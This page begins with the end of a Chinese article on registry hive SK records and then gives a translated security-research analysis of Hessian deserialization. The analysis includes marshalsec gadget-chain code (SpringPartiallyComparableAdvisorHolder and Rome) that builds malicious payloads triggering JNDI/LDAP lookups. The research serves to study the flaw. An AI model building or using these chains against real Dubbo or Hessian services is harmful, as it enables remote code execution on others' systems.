link），该数据起始于偏移量0x0C处，系统同样采用了一个32位的无符号整数来存储它的值。在注册表hive中，Blink表示的是上一条SK记录的偏移量。
在上面所给出的例子中，Flink为0x10C30000，Blink为0xF0C30800。相较于其他的偏移量而言，这两个偏移量之间是相关联的，所以我们只需再加上0x1000便能够得到它们在磁盘上的实际地址了。
在一个注册表hive中，Flink和Blink的实际作用就是“链接”每一条SK记录的。
**引用计数（Reference count）**
引用计数起始于偏移量0x10处，系统采用了一个32位的无符号整数来存储它的值。引用计数表示的是一条SK记录实际的引用NK记录的数量。
在上面所给出的例子中，引用计数的十六进制数值为0x010000，将其转换为十进制后，即为1。还记得我们在此之前所讲解的NK记录吗？NK记录中包含一个安全项（Security
key）的偏移量。NK记录的安全项偏移量指向的就是一条SK记录。
**描述符（Descriptor）**
在确定了一条记录的描述符确实包含数据（描述符的长度大于零）之后，我们就可以将组成描述符的各个参数解析出来。
在描述符中，有下列较为重要的部分：
l 控制信息
l 所有者偏移量
l 组偏移量
l SACL偏移量
l DACL 偏移量
l SACL
l DACL
l 所有者SID
l 组SID
**控制**
控制信息起始于偏移量0x1A处，系统采用了一个16位的无符号整数来存储它的值。在上述的例子中，控制信息为0x1498,当我们将其转换为小端格式之后，结果即为0x9814。
控制信息实际上就是一个flag（标识符），其中包含以下信息：
l SeDaclAutoInherited = 0x0400
l SeDaclAutoInheritReq = 0x0100
l SeDaclDefaulted = 0x0008
l SeDaclPresent = 0x0004
l SeDaclProtected = 0x1000
l SeGroupDefaulted = 0x0002
l SeOwnerDefaulted = 0x0001
l SeRmControlValid = 0x4000
l SeSaclAutoInherited = 0x0800
l SeSaclAutoInheritReq = 0x0200
l SeSaclDefaulted = 0x0020
l SeSaclPresent = 0x0010
l SeSaclProtected = 0x2000
l SeSelfRelative = 0x8000
在这个实例中，控制信息如下：
SeDaclPresent | SeDaclProtected | SeSaclAutoInherited | SeSaclPresent |
SeSelfRelative
这些标识符的值可以采用我们之前所介绍过的方法来计算得到，在此我们不再进行赘述。控制信息将会在之后的讲解中用到。
**Owner偏移量**
所有者（Owner）偏移量的值起始于偏移量0x1C处，系统采用了一个32位的无符号整数来存储它的值。在上述的例子中，Owner偏移量为0xA0000000。
在我们对“组（Group）”，SACL，以及DACL偏移量的概念进行了讲解之后，我们将会对这些偏移量有更加深入的了解。
**Group偏移量**
组（Group）偏移量的值起始于偏移量0x20处，系统采用了一个32位的无符号整数来存储它的值。在上述的例子中，Owner偏移量为0xB0000000。
在描述符之中，Owner偏移量和Group偏移量是一对相关的偏移量。在我们对所有者SID和组SID进行讨论之前，我们还需要了解一些其他的知识。
**SACL偏移量**
SACL偏移量的值起始于偏移量0x24处，系统采用了一个32位的无符号整数来存储它的值。在上述的例子中，SACL偏移量为0x14000000。
**DACL偏移量**
DACL偏移量的值起始于偏移量0x28处，系统采用了一个32位的无符号整数来存储它的值。在上述的例子中，DACL偏移量为0x1C000000。
现在我们已经了解了所有偏移量的相关数据结构了，我们就可以计算出每一种结构的数据长度了，具体情况如下：
l SACL的大小 == DACL偏移量 – SACL偏移量,即0x08
l DAC的大小== 所有者偏移量- DACL偏移量, 即0x84
l 所有者SID的大小== 组偏移量- 所有者偏移量, 即0x10
l 组SID的大小==描述符的长度 – 组偏移量, 即0x0C
现在，我们已经知道每一种数据结构的长度有多少个字节了，那么我们就可以从中抓取这些数据并对它们进行分析。
在上面所给出的例子中， SACL的原始字节数据如下：
02-00-08-00-00-00-00-00
DACL的原始字节数据如下：
02-00-84-00-05-00-00-00-00-03-24-00-3F-00-0F-00-01-05-00-00-00-00-00-05-15-00-00-00-82-F6-13-90-30-42-81-99-23-04-C3-8F-51-04-00-00-00-03-14-00-3F-00-0F-00-01-01-00-00-00-00-00-05-12-00-00-00-00-03-18-00-3F-00-0F-00-01-02-00-00-00-00-00-05-20-00-00-00-20-02-00-00-00-03-14-00-19-00-02-00-01-01-00-00-00-00-00-05-0C-00-00-00-00-00-18-00-19-00-02-00-01-02-00-00-00-00-00-0F-02-00-00-00-01-00-00-00
在上面所给出的例子中，所有者SID的原始字节数据如下：
01-02-00-00-00-00-00-05-20-00-00-00-20-02-00-00
组SID的原始字节数据如下：
01-01-00-00-00-00-00-05-12-00-00-00
将SID的原始字节数据解码成更加常见的格式
为了将SID的原始字节数据解码成我们更加常见的格式，我们还需要对这些字节数据进行一定的操作。如果你想要更加深入地了解具体的操作过程，请点击[这里](https://github.com/EricZimmerman/Registry/blob/master/Registry/Other/Helpers.cs#L279)进行查看。
当我们将所有者SID和组SID的原始字节数据进行转换之后，我们可以得到下列数据：
| 所有者SID: S-1-5-32-544
| 组SID: S-1-5-18
这种形式的SID对我们来说并没有多大的意义，所以我们还需要将这些SID转换成一些我们能够理解的东西。
解码SACL和DACL的原始字节数据
现在，我们终于来到了最后一个部分了，SK记录实在是太复杂了。
回想一下我们在之前所提到的控制信息的flag值吗？因为这个值包含有SeDaclPresent和SeSaclPresent，而它们的内部结构我们也已经解析出来了。
SACL和DACL的结构和组织形式是一样的。为了简化操作，我们来看一看更加常见的结构－ACL。ACL中包含有以下信息：
| 大小
| ACE(访问控制入口)计数
| ACE记录
将ACL进行分解之后，得到下面的结果：
| 大小值起始于偏移量0x02处，系统使用了一个长度为16位的无符号整数来存储它的值。
| ACE(访问控制入口)计数的值起始于偏移量0x04处，系统同样使用了一个长度为16位的无符号整数来存储它的值。
| ACE记录起始于偏移量0x08处。
在此之前，我们已经得到了DACL的原始字节数据了，那么我们通过计算就可以得到下面的结果：
大小值＝0x8400，十进制数值为132。
ACE计数＝0x0500，十进制数值为5。
ACE记录的值如下：
03-24-00-3F-00-0F-00-01-05-00-00-00-00-00-05-15-00-00-00-82-F6-13-90-30-42-81-99-23-04-C3-8F-51-04-00-00-00-03-14-00-3F-00-0F-00-01-01-00-00-00-00-00-05-12-00-00-00-00-03-18-00-3F-00-0F-00-01-02-00-00-00-00-00-05-20-00-00-00-20-02-00-00-00-03-14-00-19-00-02-00-01-01-00-00-00-00-00-05-0C-00-00-00-00-00-18-00-19-00-02-00-01-02-00-00-00-00-00-0F-02-00-00-00-01-00-00-00
将以上所有的信息进行组合
在上面的讲解中，我们已经将例子中的各个部分进行了详细的讲解。在下面这张图片中，我们已经将其中较为重要的部分标注了出来：
如果在上述讲解过程中，你有任何不明白的地方，请查看我们之前所发表的一些文章。
注册表hive基础知识介绍第五季将会给大家介绍注册表中各种不同类型的list（列表）记录。 | 社区文章 |
# Hessian 反序列化及相关利用链
##### 译文声明
本文是翻译文章，文章原作者 seebug，文章来源：paper.seebug.org
原文地址：<https://paper.seebug.org/1131/>
译文仅供参考，具体内容表达以及含义原文为准。
**作者：Longofo@知道创宇404实验室**
前不久有一个关于Apache Dubbo
Http反序列化的漏洞，本来是一个正常功能（通过正常调用抓包即可验证确实是正常功能而不是非预期的Post），通过Post传输序列化数据进行远程调用，但是如果Post传递恶意的序列化数据就能进行恶意利用。Apache
Dubbo还支持很多协议，例如Dubbo（Dubbo
Hessian2）、Hessian（包括Hessian与Hessian2，这里的Hessian2与Dubbo
Hessian2不是同一个）、Rmi、Http等。Apache
Dubbo是远程调用框架，既然Http方式的远程调用传输了序列化的数据，那么其他协议也可能存在类似问题，例如Rmi、Hessian等。@pyn3rd师傅之前在[twiter](https://twitter.com/pyn3rd/status/1229044609591869442)发了关于Apache
Dubbo Hessian协议的反序列化利用，Apache Dubbo
Hessian反序列化问题之前也被提到过，[这篇文章](https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html)里面讲到了Apache
Dubbo Hessian存在反序列化被利用的问题，类似的还有Apache Dubbo
Rmi反序列化问题。之前也没比较完整的去分析过一个反序列化组件处理流程，刚好趁这个机会看看Hessian序列化、反序列化过程，以及[marshalsec](https://github.com/mbechler/marshalsec)工具中对于Hessian的几条利用链。
## 关于序列化/反序列化机制
序列化/反序列化机制（或者可以叫编组/解组机制，编组/解组比序列化/反序列化含义要广），参考[marshalsec.pdf](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)，可以将序列化/反序列化机制分大体分为两类：
1. 基于Bean属性访问机制
2. 基于Field机制
### 基于Bean属性访问机制
1. SnakeYAML
2. jYAML
3. YamlBeans
4. Apache Flex BlazeDS
5. Red5 IO AMF
6. Jackson
7. Castor
8. Java XMLDecoder
9. …
它们最基本的区别是如何在对象上设置属性值，它们有共同点，也有自己独有的不同处理方式。有的通过反射自动调用`getter(xxx)`和`setter(xxx)`访问对象属性，有的还需要调用默认Constructor，有的处理器（指的上面列出来的那些）在反序列化对象时，如果类对象的某些方法还满足自己设定的某些要求，也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时，例如某个对象的某个属性是Object、Interface、abstruct等类型，为了在反序列化时能完整恢复，需要写入具体的类型信息，这时候可以指定更多的类，在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大，因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。
### 基于Field机制
基于Field机制是通过特殊的native（native方法不是java代码实现的，所以不会像Bean机制那样调用getter、setter等更多的java方法）方法或反射（最后也是使用了native方式）直接对Field进行赋值操作的机制，不是通过getter、setter方式对属性赋值（下面某些处理器如果进行了特殊指定或配置也可支持Bean机制方式）。在ysoserial中的payload是基于原生Java
Serialization，marshalsec支持多种，包括上面列出的和下面列出的。
1. Java Serialization
2. Kryo
3. Hessian
4. json-io
5. XStream
6. …
就对象进行的方法调用而言，基于字段的机制通常通常不构成攻击面。另外，许多集合、Map等类型无法使用它们运行时表示形式进行传输/存储（例如Map，在运行时存储是通过计算了对象的hashcode等信息，但是存储时是没有保存这些信息的），这意味着所有基于字段的编组器都会为某些类型捆绑定制转换器（例如Hessian中有专门的MapSerializer转换器）。这些转换器或其各自的目标类型通常必须调用攻击者提供的对象上的方法，例如Hessian中如果是反序列化map类型，会调用MapDeserializer处理map，期间map的put方法被调用，map的put方法又会计算被恢复对象的hash造成hashcode调用（这里对hashcode方法的调用就是前面说的必须调用攻击者提供的对象上的方法），根据实际情况，可能hashcode方法中还会触发后续的其他方法调用。
## Hessian简介
Hessian是二进制的web service协议，官方对Java、Flash/Flex、Python、C++、.NET
C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web
service方式的远程方法调用，区别是Hessian是二进制协议，Axis、XFire则是SOAP协议，所以从性能上说Hessian远优于后两者，并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象，集合了序列化/反序列化和RMI功能。本文主要讲解Hessian的序列化/反序列化。
下面做个简单测试下Hessian Serialization与Java Serialization：
//Student.java
import java.io.Serializable;
public class Student implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String name;
private transient String gender;
public int getId() {
System.out.println("Student getId call");
return id;
}
public void setId(int id) {
System.out.println("Student setId call");
this.id = id;
}
public String getName() {
System.out.println("Student getName call");
return name;
}
public void setName(String name) {
System.out.println("Student setName call");
this.name = name;
}
public String getGender() {
System.out.println("Student getGender call");
return gender;
}
public void setGender(String gender) {
System.out.println("Student setGender call");
this.gender = gender;
}
public Student() {
System.out.println("Student default constractor call");
}
public Student(int id, String name, String gender) {
this.id = id;
this.name = name;
this.gender = gender;
}
@Override
public String toString() {
return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";
}
}
//HJSerializationTest.java
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class HJSerializationTest {
public static <T> byte[] hserialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(os);
output.writeObject(t);
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static <T> T hdeserialize(byte[] data) {
if (data == null) {
return null;
}
Object result = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(data);
HessianInput input = new HessianInput(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return (T) result;
}
public static <T> byte[] jdkSerialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
ObjectOutputStream output = new ObjectOutputStream(os);
output.writeObject(t);
output.flush();
output.close();
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static <T> T jdkDeserialize(byte[] data) {
if (data == null) {
return null;
}
Object result = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(data);
ObjectInputStream input = new ObjectInputStream(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return (T) result;
}
public static void main(String[] args) {
Student stu = new Student(1, "hessian", "boy");
long htime1 = System.currentTimeMillis();
byte[] hdata = hserialize(stu);
long htime2 = System.currentTimeMillis();
System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time：" + (htime2 - htime1));
long htime3 = System.currentTimeMillis();
Student hstudent = hdeserialize(hdata);
long htime4 = System.currentTimeMillis();
System.out.println("hessian deserialize result：" + hstudent + "," + "cost time：" + (htime4 - htime3));
System.out.println();
long jtime1 = System.currentTimeMillis();
byte[] jdata = jdkSerialize(stu);
long jtime2 = System.currentTimeMillis();
System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time：" + (jtime2 - jtime1));
long jtime3 = System.currentTimeMillis();
Student jstudent = jdkDeserialize(jdata);
long jtime4 = System.currentTimeMillis();
System.out.println("jdk deserialize result：" + jstudent + "," + "cost time：" + (jtime4 - jtime3));
}
}
结果如下：
hessian serialize result length = 64,cost time：45
hessian deserialize result：Student(id=1,name=hessian,gender=null),cost time：3
jdk serialize result length = 100,cost time：5
jdk deserialize result：Student(id=1,name=hessian,gender=null),cost time：43
通过这个测试可以简单看出Hessian反序列化占用的空间比JDK反序列化结果小，Hessian序列化时间比JDK序列化耗时长，但Hessian反序列化很快。并且两者都是基于Field机制，没有调用getter、setter方法，同时反序列化时构造方法也没有被调用。
## Hessian概念图
下面的是网络上对Hessian分析时常用的概念图，在新版中是整体也是这些结构，就直接拿来用了：
1. Serializer：序列化的接口
2. Deserializer ：反序列化的接口
3. AbstractHessianInput ：hessian自定义的输入流，提供对应的read各种类型的方法
4. AbstractHessianOutput ：hessian自定义的输出流，提供对应的write各种类型的方法
5. AbstractSerializerFactory
6. SerializerFactory ：Hessian序列化工厂的标准实现
7. ExtSerializerFactory：可以设置自定义的序列化机制，通过该Factory可以进行扩展
8. BeanSerializerFactory：对SerializerFactory的默认object的序列化机制进行强制指定，指定为使用BeanSerializer对object进行处理
Hessian Serializer/Derializer默认情况下实现了以下序列化/反序列化器，用户也可通过接口/抽象类自定义序列化/反序列化器：
序列化时会根据对象、属性不同类型选择对应的序列化其进行序列化；反序列化时也会根据对象、属性不同类型选择不同的反序列化器；每个类型序列化器中还有具体的FieldSerializer。这里注意下JavaSerializer/JavaDeserializer与BeanSerializer/BeanDeserializer，它们不是类型序列化/反序列化器，而是属于机制序列化/反序列化器：
1. JavaSerializer：通过反射获取所有bean的属性进行序列化，排除static和transient属性，对其他所有的属性进行递归序列化处理(比如属性本身是个对象)
2. BeanSerializer是遵循pojo bean的约定，扫描bean的所有方法，发现存在get和set方法的属性进行序列化，它并不直接直接操作所有的属性，比较温柔
## Hessian反序列化过程
这里使用一个demo进行调试，在Student属性包含了String、int、List、Map、Object类型的属性，添加了各属性setter、getter方法，还有readResovle、finalize、toString、hashCode方法，并在每个方法中进行了输出，方便观察。虽然不会覆盖Hessian所有逻辑，不过能大概看到它的面貌：
//people.java
public class People {
int id;
String name;
public int getId() {
System.out.println("Student getId call");
return id;
}
public void setId(int id) {
System.out.println("Student setId call");
this.id = id;
}
public String getName() {
System.out.println("Student getName call");
return name;
}
public void setName(String name) {
System.out.println("Student setName call");
this.name = name;
}
}
//Student.java
public class Student extends People implements Serializable {
private static final long serialVersionUID = 1L;
private static Student student = new Student(111, "xxx", "ggg");
private transient String gender;
private Map<String, Class<Object>> innerMap;
private List<Student> friends;
public void setFriends(List<Student> friends) {
System.out.println("Student setFriends call");
this.friends = friends;
}
public void getFriends(List<Student> friends) {
System.out.println("Student getFriends call");
this.friends = friends;
}
public Map getInnerMap() {
System.out.println("Student getInnerMap call");
return innerMap;
}
public void setInnerMap(Map innerMap) {
System.out.println("Student setInnerMap call");
this.innerMap = innerMap;
}
public String getGender() {
System.out.println("Student getGender call");
return gender;
}
public void setGender(String gender) {
System.out.println("Student setGender call");
this.gender = gender;
}
public Student() {
System.out.println("Student default constructor call");
}
public Student(int id, String name, String gender) {
System.out.println("Student custom constructor call");
this.id = id;
this.name = name;
this.gender = gender;
}
private void readObject(ObjectInputStream ObjectInputStream) {
System.out.println("Student readObject call");
}
private Object readResolve() {
System.out.println("Student readResolve call");
return student;
}
@Override
public int hashCode() {
System.out.println("Student hashCode call");
return super.hashCode();
}
@Override
protected void finalize() throws Throwable {
System.out.println("Student finalize call");
super.finalize();
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\'' +
", gender='" + gender + '\'' +
", innerMap=" + innerMap +
", friends=" + friends +
'}';
}
}
//SerialTest.java
public class SerialTest {
public static <T> byte[] serialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(os);
output.writeObject(t);
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static <T> T deserialize(byte[] data) {
if (data == null) {
return null;
}
Object result = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(data);
HessianInput input = new HessianInput(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return (T) result;
}
public static void main(String[] args) {
int id = 111;
String name = "hessian";
String gender = "boy";
Map innerMap = new HashMap<String, Class<Object>>();
innerMap.put("1", ObjectInputStream.class);
innerMap.put("2", SQLData.class);
Student friend = new Student(222, "hessian1", "boy");
List friends = new ArrayList<Student>();
friends.add(friend);
Student stu = new Student();
stu.setId(id);
stu.setName(name);
stu.setGender(gender);
stu.setInnerMap(innerMap);
stu.setFriends(friends);
System.out.println("---------------hessian serialize----------------");
byte[] obj = serialize(stu);
System.out.println(new String(obj));
System.out.println("---------------hessian deserialize--------------");
Student student = deserialize(obj);
System.out.println(student);
}
}
下面是对上面这个demo进行调试后画出的Hessian在反序列化时处理的大致面貌（图片看不清，可以点[这个链接](https://www.processon.com/view/link/5c714c28e4b03334b5273bd6)查看）：
下面通过在调试到某些关键位置具体说明。
### 获取目标类型反序列化器
首先进入HessianInput.readObject()，读取tag类型标识符，由于Hessian序列化时将结果处理成了Map，所以第一个tag总是M(ascii
77)：
在`case
77`这个处理中，读取了要反序列化的类型，接着调用`this._serializerFactory.readMap(in,type)`进行处理，默认情况下serializerFactory使用的Hessian标准实现SerializerFactory：
先获取该类型对应的Deserializer，接着调用对应Deserializer.readMap(in)进行处理，看下如何获取对应的Derserializer：
第一个红框中主要是判断在`_cacheTypeDeserializerMap`中是否缓存了该类型的反序列化器；第二个红框中主要是判断是否在`_staticTypeMap`中缓存了该类型反序列化器，`_staticTypeMap`主要存储的是基本类型与对应的反序列化器；第三个红框中判断是否是数组类型，如果是的话则进入数组类型处理；第四个获取该类型对应的Class，进入`this.getDeserializer(Class)`再获取该类对应的Deserializer，本例进入的是第四个：
这里再次判断了是否在缓存中，不过这次是使用的`_cacheDeserializerMap`，它的类型是`ConcurrentHashMap`，之前是`_cacheTypeDeserializerMap`，类型是`HashMap`，这里可能是为了解决多线程中获取的问题。本例进入的是第二个`this.loadDeserializer(Class)`：
第一个红框中是遍历用户自己设置的SerializerFactory，并尝试从每一个工厂中获取该类型对应的Deserializer；第二个红框中尝试从上下文工厂获取该类型对应的Deserializer；第三个红框尝试创建上下文工厂，并尝试获取该类型自定义Deserializer，并且该类型对应的Deserializer需要是类似`xxxHessianDeserializer`，xxx表示该类型类名；第四个红框依次判断，如果匹配不上，则使用`getDefaultDeserializer(Class)，`本例进入的是第四个：
`_isEnableUnsafeSerializer`默认是为true的，这个值的确定首先是根据`sun.misc.Unsafe`的theUnsafe字段是否为空决定，而`sun.misc.Unsafe`的theUnsafe字段默认在静态代码块中初始化了并且不为空，所以为true；接着还会根据系统属性`com.caucho.hessian.unsafe`是否为false，如果为false则忽略由`sun.misc.Unsafe`确定的值，但是系统属性`com.caucho.hessian.unsafe`默认为null，所以不会替换刚才的ture结果。因此，`_isEnableUnsafeSerializer`的值默认为true，所以上图默认就是使用的UnsafeDeserializer，进入它的构造方法。
### 获取目标类型各属性反序列化器
在这里获取了该类型所有属性并确定了对应得FieldDeserializer，还判断了该类型的类中是否存在ReadResolve()方法，先看类型属性与FieldDeserializer如何确定：
获取该类型以及所有父类的属性，依次确定对应属性的FIeldDeserializer，并且属性不能是transient、static修饰的属性。下面就是依次确定对应属性的FieldDeserializer了，在UnsafeDeserializer中自定义了一些FieldDeserializer。
### 判断目标类型是否定义了readResolve()方法
接着上面的UnsafeDeserializer构造器中，还会判断该类型的类中是否有`readResolve()`方法：
通过遍历该类中所有方法，判断是否存在`readResolve()`方法。
好了，后面基本都是原路返回获取到的Deserializer，本例中该类使用的是UnsafeDeserializer，然后回到`SerializerFactory.readMap(in,type)`中，调用`UnsafeDeserializer.readMap(in)`：
至此，获取到了本例中`com.longofo.deserialize.Student`类的反序列化器`UnsafeDeserializer`，以各字段对应的FieldSerializer，同时在Student类中定义了`readResolve()`方法，所以获取到了该类的`readResolve()`方法。
### 为目标类型分配对象
接下来为目标类型分配了一个对象：
通过`_unsafe.allocateInstance(classType)`分配该类的一个实例，该方法是一个`sun.misc.Unsafe`中的native方法，为该类分配一个实例对象不会触发构造器的调用，这个对象的各属性现在也只是赋予了JDK默认值。
### **目标类型对象属性值的恢复**
接下来就是恢复目标类型对象的属性值：
进入循环，先调用`in.readObject()`从输入流中获取属性名称，接着从之前确定好的`this._fieldMap`中匹配该属性对应的FieldDeserizlizer，然后调用匹配上的FieldDeserializer进行处理。本例中进行了序列化的属性有innerMap（Map类型）、name（String类型）、id（int类型）、friends（List类型），这里以innerMap这个属性恢复为例。
### **以InnerMap属性恢复为例**
innerMap对应的FieldDeserializer为`UnsafeDeserializer$ObjectFieldDeserializer`：
首先调用`in.readObject(fieldClassType)`从输入流中获取该属性值，接着调用了`_unsafe.putObject`这个位于`sun.misc.Unsafe`中的native方法，并且不会触发getter、setter方法的调用。这里看下`in.readObject(fieldClassType)`具体如何处理的：
这里Map类型使用的是MapDeserializer，对应的调用`MapDeserializer.readMap(in)`方法来恢复一个Map对象：
注意这里的几个判断，如果是Map接口类型则使用HashMap，如果是SortedMap类型则使用TreeMap，其他Map则会调用对应的默认构造器，本例中由于是Map接口类型，使用的是HashMap。接下来经典的场景就来了，先使用`in.readObject()`（这个过程和之前的类似，就不重复了）恢复了序列化数据中Map的key，value对象，接着调用了`map.put(key,value)`，这里是HashMap，在HashMap的put方法会调用`hash(key)`触发key对象的`key.hashCode()`方法，在put方法中还会调用putVal，putVal又会调用key对象的`key.equals(obj)`方法。处理完所有key，value后，返回到`UnsafeDeserializer$ObjectFieldDeserializer`中：
使用native方法`_unsafe.putObject`完成对象的innerMap属性赋值。
## Hessian的几条利用链分析
在marshalsec工具中，提供了对于Hessian反序列化可利用的几条链：
1. Rome
2. XBean
3. Resin
4. SpringPartiallyComparableAdvisorHolder
5. SpringAbstractBeanFactoryPointcutAdvisor
下面分析其中的两条Rome和SpringPartiallyComparableAdvisorHolder，Rome是通过`HashMap.put`->`key.hashCode`触发，SpringPartiallyComparableAdvisorHolder是通过`HashMap.put`->`key.equals`触发。其他几个也是类似的，要么利用hashCode、要么利用equals。
### **SpringPartiallyComparableAdvisorHolder**
在marshalsec中有所有对应的Gadget Test，很方便：
这里将Hessian对SpringPartiallyComparableAdvisorHolder这条利用链提取出来看得比较清晰些：
String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用，会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
//反序列化时AspectJAroundAdvice.getOrder会被调用，会触发BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);
//反序列化时AspectJPointcutAdvisor.getOrder会被调用，会触发AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
//反序列化时PartiallyComparableAdvisorHolder.toString会被调用，会触发AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
//反序列化时Xstring.equals会被调用，会触发PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
//反序列化时HotSwappableTargetSource.equals会被调用，触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));
//反序列化时HashMap.putVal会被调用，触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值，直接put会在本地触发利用链，所以使用marshalsec使用了比较特殊的处理方式。
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
看以下触发流程：
经过`HessianInput.readObject()`，到了`MapDeserializer.readMap(in)`进行处理Map类型属性，这里触发了`HashMap.put(key,value)`：
`HashMap.put`有调用了`HashMap.putVal`方法，第二次put时会触发`key.equals(k)`方法：
此时key与k分别如下，都是HotSwappableTargetSource对象：
进入`HotSwappableTargetSource.equals`：
在`HotSwappableTargetSource.equals`中又触发了各自`target.equals`方法，也就是`XString.equals(PartiallyComparableAdvisorHolder)`：
在这里触发了`PartiallyComparableAdvisorHolder.toString`：
发了`AspectJPointcutAdvisor.getOrder`：
触发了`AspectJAroundAdvice.getOrder`：
这里又触发了`BeanFactoryAspectInstanceFactory.getOrder`：
又触发了`SimpleJndiBeanFactory.getTYpe`->`SimpleJndiBeanFactory.doGetType`->`SimpleJndiBeanFactory.doGetSingleton`->`SimpleJndiBeanFactory.lookup`->`JndiTemplate.lookup`->`Context.lookup`：
### **Rome**
Rome相对来说触发过程简单些：
同样将利用链提取出来：
//反序列化时ToStringBean.toString()会被调用，触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
String jndiUrl = "ldap://localhost:1389/obj";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
//反序列化时EqualsBean.beanHashCode会被调用，触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);
//反序列化时HashMap.hash会被调用，触发EqualsBean.hashCode->EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);
//HashMap.put->HashMap.putVal->HashMap.hash
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
看下触发过程：
经过`HessianInput.readObject()`，到了`MapDeserializer.readMap(in)`进行处理Map类型属性，这里触发了`HashMap.put(key,value)`：
接着调用了hash方法，其中调用了`key.hashCode`方法：
接着触发了`EqualsBean.hashCode->EqualsBean.beanHashCode`：
触发了`ToStringBean.toString`：
这里调用了`JdbcRowSetImpl.getDatabaseMetadata`，其中又触发了`JdbcRowSetImpl.connect`->`context.lookup`：
### 小结
通过以上两条链可以看出，在Hessian反序列化中基本都是利用了反序列化处理Map类型时，会触发调用`Map.put`->`Map.putVal`->`key.hashCode`/`key.equals`->…，后面的一系列出发过程，也都与多态特性有关，有的类属性是Object类型，可以设置为任意类，而在hashCode、equals方法又恰好调用了属性的某些方法进行后续的一系列触发。所以要挖掘这样的利用链，可以直接找有hashCode、equals以及readResolve方法的类，然后人进行判断与构造，不过这个工作量应该很大；或者使用一些利用链挖掘工具，根据需要编写规则进行扫描。
## Apache Dubbo反序列化简单分析
### **Apache Dubbo Http反序列化**
